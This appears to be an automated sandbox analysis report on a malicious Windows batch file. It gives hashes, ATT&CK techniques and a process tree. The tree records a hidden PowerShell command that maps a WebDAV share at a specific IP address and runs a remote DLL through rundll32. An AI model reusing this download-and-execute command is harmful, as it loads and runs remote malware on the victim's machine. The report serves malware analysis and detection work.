fb25d6ab477123f20ca90f3a36ba0180659b6384dca53f053b1cbf477eef8f22

Analysis

max time kernel
107s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
15-07-2024 06:55

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General

Target

239263189232722155.bat
Size

2KB
MD5

7e8c5fa3f8a7d26abb09bd52db76c4b2
SHA1

27920bbbd70ac9f867a1e49d81e1b9063f7307d9
SHA256

772e80bdd49e331a1c276ac0d1b8be6b1c0d916be3029925479406c82ebdf321
SHA512

ae0e79ac0264c961447241414c4bf5ec5e8178383178ebb28ae1556b2836a25a6a08aa1588b2de330d0762ff06f74832b070b2dd39390acc80691bafe8d52e36

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2800	wordpad.exe
2800	wordpad.exe
2800	wordpad.exe
2800	wordpad.exe
2800	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 2800	2476	cmd.exe	29
PID 2476 wrote to memory of 2800	2476	cmd.exe	29
PID 2476 wrote to memory of 2800	2476	cmd.exe	29
PID 2476 wrote to memory of 2712	2476	cmd.exe	30
PID 2476 wrote to memory of 2712	2476	cmd.exe	30
PID 2476 wrote to memory of 2712	2476	cmd.exe	30
PID 2712 wrote to memory of 2912	2712	powershell.exe	32
PID 2712 wrote to memory of 2912	2712	powershell.exe	32
PID 2712 wrote to memory of 2912	2712	powershell.exe	32
PID 2712 wrote to memory of 2704	2712	powershell.exe	33
PID 2712 wrote to memory of 2704	2712	powershell.exe	33
PID 2712 wrote to memory of 2704	2712	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\239263189232722155.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\656.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2912
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\656.dll entry
    3⤵
    PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2712-23-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
memory/2712-24-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download